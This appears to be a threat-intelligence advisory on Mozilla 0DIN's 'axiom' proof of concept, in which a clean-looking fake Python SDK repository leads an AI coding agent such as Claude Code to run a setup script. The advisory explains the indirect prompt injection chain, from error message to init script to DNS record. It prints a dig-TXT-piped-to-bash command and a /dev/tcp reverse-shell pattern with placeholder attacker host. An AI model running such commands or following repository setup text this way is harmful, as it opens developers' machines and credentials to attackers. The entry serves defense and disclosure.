Indirect Prompt Injection in AI Coding Agents Enables Reverse Shell via Malicious GitHub Repos (Mozilla 0DIN "axiom" PoC)

Indirect Prompt Injection in AI Coding Agents Enables (TL-2026-1218), also tracked as Clone This Repo and I Own Your Machine, is a high-severity software vulnerability, first published 2026-07-11. It has no confirmed attribution, affects Anthropic Claude Code, maps to 25 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 19 indicators of compromise.

Key facts for TL-2026-1218

Threat ID
TL-2026-1218
Also known as
Clone This Repo and I Own Your Machine, axiom PoC, Claude Code DNS TXT reverse shell
Severity
HIGH
Status
ACTIVE
Category
VULNERABILITY
First published
2026-07-11
Last reviewed
2026-07-11
Attribution confidence
LOW
Motivation
UNKNOWN
Target sectors
technology, software development, any organization employing ai-assisted software development
Target regions
Global
Detection rules
9
Indicators of compromise
19

Malware and tooling in Indirect Prompt Injection in AI Coding Agents Enables

Malware and tooling: axiom (fake Python SDK package), Claude Code, Cursor, Gemini CLI

Mozilla's 0DIN research team (Andre Hall and Miller Engelbrecht) published a proof-of-concept showing that a completely clean-looking GitHub repository (fake "axiom" cloud SDK) can trick agentic AI coding assistants such as Claude Code into opening an interactive reverse shell with the developer's own privileges. The malicious payload is never stored in the repository or on disk — it is fetched at runtime from a DNS TXT record and base64-decoded before execution, making it invisible to code review, static analysis, and the AI agent's own repository inspection.

How Indirect Prompt Injection in AI Coding Agents Enables works

On 2026-06-25/29, Mozilla's Zero Day Investigative Network (0DIN) disclosed a novel indirect prompt injection technique against agentic AI coding tools, demonstrated against Claude Code but applicable to any agent with shell-execution and file-system access. The proof-of-concept repository presents itself as a legitimate open-source Python SDK for a fictional cloud platform called "axiom." It contains three individually innocuous components: (1) a README with standard setup instructions telling the developer/agent to run `python3 -m axiom init`; (2) an `axiom/__init__.py` package deliberately engineered to raise a RuntimeError on first use unless the init routine has been run — mimicking a completely normal dependency-guard pattern; (3) a `scripts/setup.sh` script invoked by the init routine that queries a DNS TXT record at `_axiom-config.m100.cloud` (e.g. `dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"'`) and pipes whatever is returned directly into `bash`. The DNS TXT response is a base64-encoded reverse-shell one-liner (decoding to a pattern equivalent to `bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1`) that is never present in plaintext on disk, in the repository, or in the initial network request — it only materializes in memory after being resolved and decoded at runtime. Because the AI coding agent (Claude Code in the demonstrated case) is reasoning about a plausible error message ("package not initialized, run init") and routine setup remediation rather than directly evaluating a malicious string, it can be induced to execute the initialization command with full developer privileges, exposing environment variables, credentials, API keys, SSH keys, cloud tokens, and local configuration files to the attacker via the established shell. Mozilla 0DIN summarized the core insight: "Claude Code never decided to open a shell. It decided to fix an error. The reverse shell is three indirection steps away from anything Claude Code actually evaluated: an error message it trusted, a script that fetched a value, and a DNS record it never saw." 0DIN built and tested the demonstration in a controlled lab environment and has not observed in-the-wild exploitation; researchers note realistic distribution vectors would include fake job-interview coding tests, tutorial repositories, blog post code samples, and direct messages linking to the repository, all common social-engineering patterns already used in npm/PyPI supply-chain campaigns. No CVE has been assigned, as this is a technique/methodology disclosure rather than a single-product vulnerability; the underlying issue is architectural, affecting any LLM-driven coding agent that autonomously executes setup/build commands, remote scripts, or dynamically fetched configuration without explicit human review of the actual runtime command.

MITRE ATT&CK techniques used in TL-2026-1218

Collection

T1005 Data from Local System

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal; T1140 Deobfuscate/Decode Files or Information

Exfiltration

T1041 Exfiltration Over C2 Channel

Execution

T1059 Command and Scripting Interpreter; T1204 User Execution; T1610 Deploy Container

Privilege Escalation

T1068 Exploitation for Privilege Escalation

Command and Control

T1071 Application Layer Protocol; T1095 Non-Application Layer Protocol; T1105 Ingress Tool Transfer; T1573 Encrypted Channel

Discovery

T1082 System Information Discovery; T1083 File and Directory Discovery

Initial Access

T1195 Supply Chain Compromise; T1199 Trusted Relationship

Persistence

T1505 Server Software Component

Credential Access

T1552 Unsecured Credentials; T1555 Credentials from Password Stores

Impact

T1565 Data Manipulation

Resource Development

T1583 Acquire Infrastructure; T1585 Establish Accounts; T1587 Develop Capabilities

Affected products and versions in Indirect Prompt Injection in AI Coding Agents Enables

  • Anthropic — Claude Code
    Vulnerable versions: agentic shell-execution behavior as of mid-2026, demonstrated version
  • Generic — Agentic AI coding assistants (GitHub Copilot agent mode, Cursor, and similar LLM-driven coding tools with autonomous shell execution)
    Vulnerable versions: any agent that autonomously executes setup/init commands without surfacing the literal runtime command for human review

Remediation for Indirect Prompt Injection in AI Coding Agents Enables

Immediate actions

  • Treat all setup/installation instructions in unfamiliar or unaudited GitHub repositories as untrusted code, regardless of whether an AI coding agent recommends running them
  • Never pipe the output of dig/curl/wget/nslookup or any dynamically-fetched value directly into bash, sh, or an interpreter (`... | bash`, `eval $(...)`) during dependency setup
  • Run first-time clone/init/setup of unknown repositories inside an isolated, network-restricted, credential-free sandbox or container rather than on a developer workstation with live credentials
  • Review the literal shell command an AI coding agent is about to execute, not just its stated intent, before approving auto-run of setup scripts

Workarounds

  • Restrict network egress (especially DNS TXT lookups and arbitrary outbound TCP) for sandboxes or containers used to evaluate/clone unfamiliar repositories
  • Strip or rotate developer credentials, environment variables, and API keys before allowing an AI coding agent to run unreviewed setup scripts from third-party repositories

Longer-term hardening

  • AI coding agent vendors should require full disclosure/expansion of execution chains for setup commands, including dynamically fetched scripts, DNS lookups, and any code retrieved at runtime, before execution
  • Implement mandatory human-in-the-loop approval gates for agent-initiated shell command execution, especially for any command resolving external network data (DNS TXT, HTTP fetch) and piping it to an interpreter
  • Restrict or disable outbound DNS TXT record resolution and arbitrary command execution during automated dependency initialization phases in CI and local dev environments
  • Adopt runtime monitoring/EDR on developer workstations capable of flagging reverse-shell network patterns and DNS-based data retrieval followed by process execution

Weaknesses (CWE) in Indirect Prompt Injection in AI Coding Agents Enables

CWE-94, CWE-829, CWE-78, CWE-506

Timeline of Indirect Prompt Injection in AI Coding Agents Enables

  • CVE-2025-55284, a separate high-severity Claude Code flaw employing similar DNS-based payload delivery for API key exfiltration, is patched — cited by cybersecuritynews.com as a related precedent to the 0DIN axiom technique.
  • Unit 42 documents the first large-scale indirect prompt injection attacks observed in the wild, indicating active operationalization of the technique class by threat actors ahead of the 0DIN disclosure.
  • Mozilla 0DIN publishes 'Clone This Repo and I Own Your Machine,' the proof-of-concept research detailing the indirect prompt injection attack against Claude Code, authored by researchers Andre Hall and Miller Engelbrecht.
  • Cybernews and additional outlets report on the Claude Code attack and Mozilla's findings, expanding awareness across the security media.
  • Help Net Security publishes coverage summarizing Mozilla's warning about indirect prompt injection risk in AI coding agents.
  • Researchers confirm the attack was built and demonstrated in a controlled lab environment with no observed in-the-wild exploitation as of publication.
  • 0DIN and secondary reporting note realistic real-world distribution vectors for this technique: fake job/interview coding tests, tutorial repos, blog code samples, and direct messages.
  • Independent researchers/bloggers (Bromure, Korben, Vibe Graveyard) publish deeper technical breakdowns of the axiom PoC repository structure and DNS TXT payload delivery mechanism.
  • DevOps.com, Tom's Hardware, cybersecuritynews.com, and other outlets publish follow-up analysis, amplifying reach to developer and DevOps audiences.

Sources cited for Indirect Prompt Injection in AI Coding Agents Enables

Threats related to Indirect Prompt Injection in AI Coding Agents Enables

Detection coverage for TL-2026-1218

As of 2026-07-11, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-1218 across Splunk SPL, Microsoft KQL and Sigma, covering 19 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Further reading

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats